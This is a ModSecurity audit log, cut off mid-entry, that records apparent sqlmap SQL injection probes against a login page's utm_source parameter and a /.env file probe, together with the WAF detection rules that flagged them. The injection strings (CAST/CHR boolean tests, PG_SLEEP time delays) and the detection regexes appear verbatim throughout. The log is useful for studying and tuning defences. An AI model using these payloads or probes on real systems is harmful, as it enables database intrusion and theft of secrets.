Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --f485bd4c-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website) and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and (6638=6638&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website) and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and (6638=6638&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE88-kNwpNEMJppxC49RmgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023418244050 273217 (- - -) Stopwatch2: 1750023418244050 273217; combined=3101, p1=391, p2=2569, p3=0, p4=0, p5=141, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f485bd4c-Z-- --9d73df1d-A-- [16/Jun/2025:03:06:59.897992 +0530] aE88-x-kH31pk4mNbsU-3QAAAAo 172.69.150.95 41610 127.0.0.1 7081 --9d73df1d-B-- GET /login-now/?utm_source=website%20AND%205044%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%285044%3D5044%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.95 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950534c2da964d73-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --9d73df1d-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website%20AND%205044=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(5044=5044)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --9d73df1d-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE88-x-kH31pk4mNbsU-3QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023419629914 268209 (- - -) Stopwatch2: 1750023419629914 268209; combined=3263, p1=357, p2=2728, p3=0, p4=0, p5=177, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9d73df1d-Z-- --b953ae38-A-- [16/Jun/2025:03:07:01.319787 +0530] aE88_XZqyQ8YfVGvJU7YdQAAAAY 172.68.194.159 41720 127.0.0.1 7081 --b953ae38-B-- GET /login-now/?utm_source=website%20AND%205044%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%285044%3D5044%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29--%20xdSs&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.194.159 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950534cb793d3718-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b953ae38-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website%20AND%205044=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(5044=5044)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)--%20xdSs&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --b953ae38-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)-- xdss&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (5044=5044) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website and 5044=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (5044=5044) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)-- xdss&utm_medium=top-bar&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE88_XZqyQ8YfVGvJU7YdQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023421017574 302327 (- - -) Stopwatch2: 1750023421017574 302327; combined=3058, p1=364, p2=2537, p3=0, p4=0, p5=156, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b953ae38-Z-- --81795353-A-- [16/Jun/2025:03:07:05.780601 +0530] aE89AUNwpNEMJppxC49RngAAAAI 185.177.72.210 41956 127.0.0.1 7081 --81795353-B-- GET /:9000/project/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --81795353-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a1e3edbec4951055d888a31bd3b63d271750023425; expires=Sun, 15 Jun 2025 22:37:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --81795353-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/project/.env"] [unique_id "aE89AUNwpNEMJppxC49RngAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023425053862 726812 (- - -) Stopwatch2: 1750023425053862 726812; combined=2575, p1=448, p2=2028, p3=0, p4=0, p5=98, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --81795353-Z-- --4b06270e-A-- [16/Jun/2025:03:07:08.903341 +0530] aE89BB-kH31pk4mNbsU-4wAAAAo 172.69.151.237 42146 127.0.0.1 7081 --4b06270e-B-- GET /login-now/?utm_source=website%27%29%3BSELECT%20PG_SLEEP%285%29--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.151.237 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950534f99fe94d8a-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --4b06270e-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website);SELECT%20PG_SLEEP(5)--&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --4b06270e-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website');SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_source: website');SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website');SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89BB-kH31pk4mNbsU-4wAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_source: website');SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89BB-kH31pk4mNbsU-4wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023428405099 498334 (- - -) Stopwatch2: 1750023428405099 498334; combined=4835, p1=363, p2=4325, p3=0, p4=0, p5=147, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4b06270e-Z-- --85068246-A-- [16/Jun/2025:03:07:09.633372 +0530] aE89BUNwpNEMJppxC49RoQAAAAI 172.71.148.95 33860 127.0.0.1 7081 --85068246-B-- GET /login-now/?utm_source=website%27%3BSELECT%20PG_SLEEP%285%29--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.95 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950535018f3bdc5c-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --85068246-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website;SELECT%20PG_SLEEP(5)--&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --85068246-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: website';SELECT PG_SLEEP(5) found within MATCHED_VAR: website';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website';SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_source: website';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: website';SELECT PG_SLEEP(5) found within MATCHED_VAR: website';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89BUNwpNEMJppxC49RoQAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: website';SELECT PG_SLEEP(5)-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89BUNwpNEMJppxC49RoQAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_source. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT PG_SLEEP found within ARGS:utm_source: website';SELECT PG_SLEEP(5)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89BUNwpNEMJppxC49RoQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023429435211 198265 (- - -) Stopwatch2: 1750023429435211 198265; combined=4146, p1=328, p2=3633, p3=0, p4=0, p5=184, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --85068246-Z-- --453c1515-A-- [16/Jun/2025:03:07:10.754306 +0530] aE89Bse_3eHPNozq0G0O1AAAAAU 162.158.111.99 33914 127.0.0.1 7081 --453c1515-B-- GET /login-now/?utm_source=website%29%3BSELECT%20PG_SLEEP%285%29--&utm_medium=top-bar&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.99 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950535084e493653-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --453c1515-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website);SELECT%20PG_SLEEP(5)--&utm_medium=top-bar&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --453c1515-H-- Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line 